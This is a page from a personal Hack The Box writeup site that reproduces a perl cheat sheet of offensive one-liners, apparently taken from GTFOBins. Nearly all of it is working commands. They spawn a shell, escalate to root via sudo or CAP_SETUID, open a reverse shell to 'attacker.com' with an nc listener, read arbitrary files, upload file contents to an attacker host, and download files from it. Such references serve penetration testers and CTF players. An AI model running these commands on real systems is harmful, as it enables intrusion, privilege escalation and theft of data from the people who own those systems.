~/bokkapig
hack the box machine writeups

perl

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    perl -e 'exec "/bin/sh"'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    perl -e 'exec "/bin/sh"'
    This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
    RemarksThe following capabilities are needed: CAP_SETUID.
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
  2. CommentThe /dev/null part can be omitted, just use Ctrl-D in order to spawn the shell.
    This function can be performed by any unprivileged user.
    PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    perl -ne print /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    perl -ne print /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    perl -ne print /path/to/input-file

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
    ReceiverAn HTTP server can be used on the attacker box to receive the data.
    nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
    SenderAn HTTP server can be used on the attacker box to send the data.
    python -m http.server 80